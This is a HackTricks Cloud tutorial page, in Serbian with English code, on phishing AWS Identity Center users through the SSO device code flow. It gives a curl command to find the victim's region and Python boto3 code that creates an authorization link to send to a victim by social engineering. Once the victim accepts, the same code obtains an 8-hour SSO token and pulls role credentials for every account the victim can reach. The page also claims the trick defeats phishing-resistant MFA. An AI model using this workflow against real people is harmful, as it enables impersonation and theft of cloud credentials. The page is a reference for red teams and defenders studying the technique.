AWS - Identity Center & SSO Unauthenticated Enum
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
AWS Device Code Phishing
Prvobitno predloženo u this blog post, moguće je poslati link korisniku koji koristi AWS SSO koji, ako ga korisnik prihvati, napadač će moći da dobije token za impersonaciju korisnika i pristupi svim rolama kojima korisnik ima pristup u Identity Center.
Da bi se izveo ovaj napad, neophodni uslovi su:
- Žrtva mora da koristi Identity Center
- Napadač mora da zna subdomen koji koristi žrtva
<victimsub>.awsapps.com/start
Samo sa tim informacijama, napadač može poslati link korisniku koji, ako ga korisnik prihvati, omogućava napadaču pristup AWS korisničkom nalogu.
Napad
- Pronalaženje subdomena
Prvi korak napadača je da otkrije subdomen koji kompanija žrtva koristi u svom Identity Center. To se može uraditi putem OSINT ili putem guessing + BF, jer većina kompanija ovde koristi svoje ime ili neku varijaciju istog.
Sa tim informacijama, moguće je dobiti region u kojem je Identity Center konfigurisan:
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
- Generiši link za victim & Pošalji ga
Pokreni sledeći kod da generiše AWS SSO link za prijavu tako da victim može da se autentifikuje.
Za demo, pokreni ovaj kod u python konzoli i nemoj je zatvarati, jer će ti kasnije trebati neki objekti da dobiješ token:
import boto3
REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS
sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)
client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)
url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
Pošaljite generisani link žrtvi koristeći svoje sjajne social engineering veštine!
- Sačekajte dok žrtva ne prihvati
Ako je žrtva bila već prijavljena na AWS biće potrebno samo da prihvati dodeljivanje dozvola, ako nije, moraće da se prijavi i potom prihvati dodeljivanje dozvola.
Ovako izgleda prompt danas:
.png)
- Dobijte SSO access token
Ako je žrtva prihvatila prompt, pokrenite ovaj kod da biste generisali SSO token koji se predstavlja kao korisnik:
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')
SSO access token je važeći 8h.
- Lažno predstavljanje korisnika
sso_client = boto3.client('sso', region_name=REGION)
# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])
# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])
# Get credentials over a role
sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')
Phishing the unphisable MFA
Zanimljivo je znati da prethodni napad radi čak i ako se koristi “unphisable MFA” (webAuth). To je zato što prethodni workflow nikada ne napušta korišćeni OAuth domain. Za razliku od drugih phishing napada gde korisnik mora da zameni login domain, u ovom slučaju device code workflow je pripremljen tako da je code poznat uređaju i korisnik se može login čak i na drugom računaru. Ako se prompt prihvati, uređaj, samo znajući početni code, biće u stanju da retrieve credentials za korisnika.
Za više informacija o tome pogledajte ovaj post.
Automatski alati
- https://github.com/christophetd/aws-sso-device-code-authentication
- https://github.com/sebastian-mora/awsssome_phish
Reference
- https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/
- https://ruse.tech/blogs/aws-sso-phishing
- https://mjg59.dreamwidth.org/62175.html
- https://ramimac.me/aws-device-auth
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks Cloud

